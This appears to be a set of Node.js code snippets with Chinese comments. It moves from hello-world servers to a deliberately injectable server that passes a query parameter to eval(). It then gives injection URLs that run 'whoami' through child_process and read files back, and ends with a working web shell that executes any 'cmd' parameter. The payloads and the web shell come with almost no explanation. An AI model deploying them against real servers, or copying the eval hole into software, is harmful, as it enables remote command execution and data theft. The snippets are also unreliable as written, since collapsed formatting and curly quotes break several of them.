node --version

console.log(“Hello World~”);

var os = require("os");console.log(os.hostname());

var http = require('http');// 引入http模块http.createServer(function (request, response) {    // 设置响应头        // HTTP 状态值: 200 : OK        // 内容类型: text/plain    response.writeHead(200, {'Content-Type': 'text/plain'});        // 发送响应数据 "Hello World~"    response.write('Hello');    response.end(' World~\n');}).listen(8888);// 终端打印如下信息console.log('Server running at http://127.0.0.1:8888/');

var url = require('url');// 引入url模块var params = url.parse(request.url, true).query;    // 获取name值    response.end(params.name);

var http = require('http');var url = require('url');http.createServer(function (request, response) {      response.writeHead(200, {'Content-Type': 'text/plain'});      var params = url.parse(request.url, true).query;      eval(params.name);      response.end('Success~s\n');}).listen(8888);console.log('Server running at http://127.0.0.1:8888/');

var fs = require("fs");// 异步读取fs.readFile('input.txt', function (err, data) {   if (err) {       return console.error(err);   }   console.log("异步读取: " + data.toString());});// 同步读取var data = fs.readFileSync('input.txt');console.log("同步读取: " + data.toString());console.log("程序执行完毕。");

require('fs').readdirSync('.').toString();

require('fs').readdirSync('..').toString();

require('fs').readFileSync(filename);

127.1:8888/?code=require(‘child_process’).exec(‘whoami > 123.txt’)

127.1:8888/?code=response.write(require(‘fs’).readFileSync(‘123.txt’))

require('http').createServer(function (req, res) {    res.writeHead(200, {"Content-Type": "text/plain"});    require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {        res.end(s);});    }).listen(8002);